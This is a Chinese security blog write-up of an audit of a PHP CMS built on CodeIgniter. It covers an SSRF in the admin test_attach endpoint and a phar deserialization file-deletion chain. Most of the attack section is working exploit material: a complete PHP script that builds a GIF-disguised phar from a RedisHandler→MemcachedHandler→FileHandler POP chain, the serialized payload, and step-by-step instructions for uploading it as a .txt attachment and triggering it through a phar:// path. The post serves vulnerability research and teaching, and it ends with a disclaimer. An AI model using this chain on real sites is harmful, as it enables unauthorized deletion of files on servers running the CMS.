记一次某CMS审计过程

导语:

一开始心血来潮想审计PHP代码,于是网上找了找某CMS最新版,最近好像没出过什么大洞,于是想审计一下,跟随之前大佬挖漏洞的思路,尝试挖掘一下最新版的漏洞。

SSRF漏洞原理

SSRF(Server-Side Request Forgery,服务器端请求伪造)是一种由攻击者构造形成由服务器端发起请求的安全漏洞。攻击者可以通过SSRF攻击内部系统,如果该系统配置不当,可能会导致数据泄露、服务暴露、内网穿透等问题。

SSRF漏洞函数

dr_catcher_data

/Fcms/Core/Helper.php

函数部分代码

 * 调用远程数据 curl获取
 *
 * @param   $url
 * @param   $timeout 超时时间,0不超时
 * @param   $is_log 0表示请求失败不记录到系统日志中
 * @param   $ct 0表示不尝试重试,1表示重试一次
 * @return  请求结果值
 */
function dr_catcher_data($url, $timeout = 0, $is_log = true, $ct = 0) {

    if (!$url) {
        return '';
    }

    // 获取本地文件
    if (strpos($url, 'file://')  === 0) {
        return file_get_contents($url);
    } elseif (strpos($url, '/')  === 0 && is_file(WEBPATH.$url)) {
        return file_get_contents(WEBPATH.$url);
    } elseif (!dr_is_url($url)) {
        if (CI_DEBUG && $is_log) {
            log_message('error', '获取远程数据失败['.$url.']:地址前缀要求是http开头');
        }
        return '';
    }

触发SSRF漏洞点

test_attach

/Fms/Control/Admin/Api.php/test_attach

/**
  * 测试远程附件
  */
 public function test_attach() {

     $data = \Phpcmf\Service::L('input')->post('data');
     if (!$data) {
            $this->_json(0, dr_lang('参数错误'));
        }

        $type = intval($data['type']);
        $value = $data['value'][$type];
        if (!$value) {
            $this->_json(0, dr_lang('参数不存在'));
        } elseif ($type == 0) {
            if (substr($value['path'],-1, 1) != '/') {
                $this->_json(0, dr_lang('存储路径目录一定要以"/"结尾'));
            } elseif ((dr_strpos($value['path'], '/') === 0 || dr_strpos($value['path'], ':') !== false)) {
    if (!is_dir($value['path'])) {
     $this->_json(0, dr_lang('本地路径[%s]不存在', $value['path']));
    }
   } elseif (is_dir(SYS_UPLOAD_PATH.$value['path'])) {

   } else {
    $this->_json(0, dr_lang('本地路径[%s]不存在', SYS_UPLOAD_PATH.$value['path']));
   }
  } 

        $rt = \Phpcmf\Service::L('upload')->save_file(
            'content',
            'this is phpcmf file-test',
            'test/test.txt',
            [
                'id' => 0,
                'url' => $data['url'],
                'type' => $type,
                'value' => $value,
            ]
        );

        if (!$rt['code']) {
            $this->_json(0, $rt['msg']);
        } elseif (strpos(dr_catcher_data($rt['data']['url']), 'phpcmf') !== false) {
            $this->_json(1, dr_lang('测试成功:%s', $rt['data']['url']));
        }

        $this->_json(0, dr_lang('无法访问到附件: %s', $rt['data']['url']));
    }

分析得到,下面

$data = \Phpcmf\Service::L('input')->post('data');
elseif (strpos(dr_catcher_data($rt['data']['url']), 'phpcmf') !== false)

post请求中,data['url'] 途中没有任何过滤 就给到了 dr_catcher_data()函数,但是dr_catcher_data函数可以处理file,http等协议的函数封装。如封装了,file_get_contents、curl_exec等。造成了ssrf的漏洞。

反序列化

任意文件删除

phar反序列化漏洞点

我们直接找 文件函数:is_dir,file_exist等等

在源码路径:/Fms/Control/Admin/Api.php里面

其实很多个功能都存在 phar反序列化触发点

test_attach

POP查找

链一(失败)

序列化代码
//需要第一类来new一下
namespace CodeIgniter\Publisher;

class Publisher
{
 public $scratch = "../1";
 //通过__destruct触发 delete scratch
 //通过new 对象 触发__construct helper('filesystem'),因为deltete用到了filesystem方法。
}

namespace CodeIgniter\Cache\Handlers;
class  MemcachedHandler
{

  public $prefix;
  public __construct()
  {
   this->$prefix = new CodeIgniter\Publisher\Publisher(); //触发构造方法 和 销毁方法
  }

}

var_dump(serialize(new  MemcachedHandler()))
POP链
Publisher:construc.helper(['filesystem'])  ->  destruct() -> wipeDirectory() -> delete_files()

detele_files() 函数 需要由引入 helper(['filesystem']);

思路:通过 MemcachedHandler 任意属性 调用new Publisher 触发 helper('filesystem') 引入delete_files()类

分析

先看看几个重要的方法(简化)

Publisher

__construct方法()

       helper(['filesystem']);

__destruct()方法

    public function __destruct()
    {
            self::wipeDirectory($this->scratch);
    }

wipeDirectory方法

   private static function wipeDirectory(string $directory): void
    {
            $attempts = 10;
    
           while ((bool) $attempts && ! delete_files($directory, true, false, true)) {
                $attempts--;
            }
            @rmdir($directory);
    }
失败原因

显示delete_files()不存在

总结

反序列化过程,不会创建对象。不管序列化中new在何处,也只是告诉解析器 new这个位置 需要替换 该类型对象的属性。

反序列化原理:创建空对象,把属性值传递进去(本质,属性替换)

链子二

序列化代码
<?php
//=======实现delete方法有,unlink(this->$path.$this->prefix.$lockkey)
namespace CodeIgniter\Cache\Handlers;
class FileHandler
{
 public $prefix;
 public $path;
 public function __construct()
 {
  $this->prefix='';
  $this->path='';
 }
}

//=======MemcachedHandler中close()有$this->memcached->delete($this->lockKey)
namespace CodeIgniter\Session\Handlers;
class MemcachedHandler
{
 public $lockKey;  //传入delete()的值
 public $memcached;
 public function __construct()
 {   
  //$this->memcached->detele($this->lockKey);
  $this->lockKey = "D:\\phpstudy_pro\\WWW\\test.test"; //文件路径
  $this->memcached = new  \CodeIgniter\Cache\Handlers\FileHandler();  //触发下一个delete

 }

}

//==========RedisHandler中destruct有this->redis->close()
namespace CodeIgniter\Cache\Handlers;
class RedisHandler
{
  public $redis;
  public function __construct()
  {
   $this->redis = new \CodeIgniter\Session\Handlers\MemcachedHandler(); //指向MemcachedHandler对象
  }
 //因为后续有 this->redis->close()操作,可以用MemcachedHandler的close函数。
}

$o = new new RedisHandler());
$phar = new Phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); //设置stub
$phar->setMetadata($o); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
$phar->stopBuffering(); //签名自动计算

?>
序列化字符串
string(275) "O:39:"CodeIgniter\Cache\Handlers\RedisHandler":1:{s:5:"redis";O:45:"CodeIgniter\Session\Handlers\MemcachedHandler":2:{s:9:"memcached";O:38:"CodeIgniter\Cache\Handlers\FileHandler":2:{s:6:"prefix";s:0:"";s:4:"path";s:0:"";}s:7:"lockKey";s:29:"D:\phpstudy_pro\WWW\test.test";}}"
POP链
RedisHandler __destruct()  ->   MemcachedHandler close()  -> FileHandler delete()
分析

RedisHandler

__destruct

调用了$this->redis->close()

    public function __destruct()
    {
        if (isset($this->redis)) {
            $this->redis->close();
        }
    }

redis改为 MemcachedHandle对象

MemcachedHandler

实现close()

public function close(): bool
    {
        if (isset($this->memcached)) {
            if (isset($this->lockKey)) {
                $this->memcached->delete($this->lockKey);
            }

            if (! $this->memcached->quit()) {
                return false;
            }

            $this->memcached = null;

            return true;
        }

        return false;
    }

找delete,存在this->memcached->delete($this->lockKey);

FileHandler

   namespace CodeIgniter\Cache\Handlers;

   public function delete(string $key)
    {
        $key = static::validateKey($key, $this->prefix);

        return is_file($this->path . $key) && unlink($this->path . $key);
    }

同时,$key为 MemcachedHandler的lockKey

总结

找POP链的时候,需要无限套娃,一个对象套一个对象。可以利用的类一般是需要有命名空间。我们第一步找到 destruct方法,看看destruct观察:可控变量与方法。 第二步:1.根据方法,全局搜索实现的类 2.根据方法传入参数个数类型,全局找到使用__call魔术方法的类进行分析。第三步,无限套娃 找到能够触发我们目标功能(RCE,任意文件删除,任意文件写入等等)

Phar反序列化任意文件删除利用

准备工作

漏洞点在 Controler/Admin/Api.php

http://xxxcms-study/admina516ce184c2e.php?c=Api&m=test_attach
phar://D:/phpstudy_pro/WWW/phar.jpg/test.txt

生成phar利用文件脚本

<?php
//=======实现delete方法有,unlink(this->$path.$this->prefix.$lockkey)
namespace CodeIgniter\Cache\Handlers;
class FileHandler
{
 public $prefix;
 public $path;
 public function __construct()
 {
  $this->prefix='';
  $this->path='';
 }
}

//=======MemcachedHandler中close()有$this->memcached->delete($this->lockKey)
namespace CodeIgniter\Session\Handlers;
class MemcachedHandler
{
 public $lockKey;  //传入delete()的值
 public $memcached;
 public function __construct()
 {   
  //$this->memcached->detele($this->lockKey);
  $this->lockKey = "D:\\phpstudy_pro\\WWW\\test.test"; //删除的文件路径
  $this->memcached = new  \CodeIgniter\Cache\Handlers\FileHandler();  //触发下一个delete

 }

}

//==========RedisHandler中destruct有this->redis->close()
namespace CodeIgniter\Cache\Handlers;

use Phar;

class RedisHandler
{
  public $redis;
  public function __construct()
  {
   $this->redis = new \CodeIgniter\Session\Handlers\MemcachedHandler(); //指向MemcachedHandler对象
  }
 //因为后续有 this->redis->close()操作,可以用MemcachedHandler的close函数。
}

$o =  new RedisHandler();
$phar = new Phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); //设置stub
$phar->setMetadata($o); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
$phar->stopBuffering(); //签名自动计算
?>

利用过程

phar文件上传点

(原本想试试头像上传的,发现文件被压缩,就找了个上传附件的位置)

http://xxxxcms-study/index.php?s=member&app=news&c=home&m=add

第一步,来到文章发布的后台(需要有附件上传权限)

发布内容中,下面有个附件上传

这里可以显示上传的内容(zip,rar,txt,doc),我们只需要把phar.phar包 该后缀满足白名单就行,我改为phar.txt

点击上传后的附件,会弹出一个 url。我们只需要拿到 /upload 后面的 构造phar://语句

phar://uploadfile/202407/de5d2812b5ba390.txt/test.txt

Phar反序列化点

备注:test_attach 函数作为利用点。

需要反序列化执行的命令

phar://uploadfile/202407/de5d2812b5ba390.txt/test.txt

到这边,需要选择完整模式 -> 系统附件设置 -> 附件上传目录(输入我们的命令) 点击检测

反序列化出来了我们的FileHandler对象,说明反序列化攻击成功,我们的文件也成功被删除。

本文所提供的信息仅供学习和研究网络安全技术之用途。读者在使用这些信息时应自行判断其适用性,并对其行为负全责。作者不对任何读者因使用本文中信息而导致的任何直接或间接损失负责。

转载须知:

如需转载本文,请务必保留本文末尾的免责声明,并标明文章出处为红细胞安全实验室,同时提供原文链接。未经许可,请勿对本文进行修改,以保持信息的完整性。

感谢各位师傅们的理解与支持。

本公众号不定期更新一些技术文章,还麻烦各位师傅们点点关注,这样才不会错过哦。

  • 17
    点赞
  • 10
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值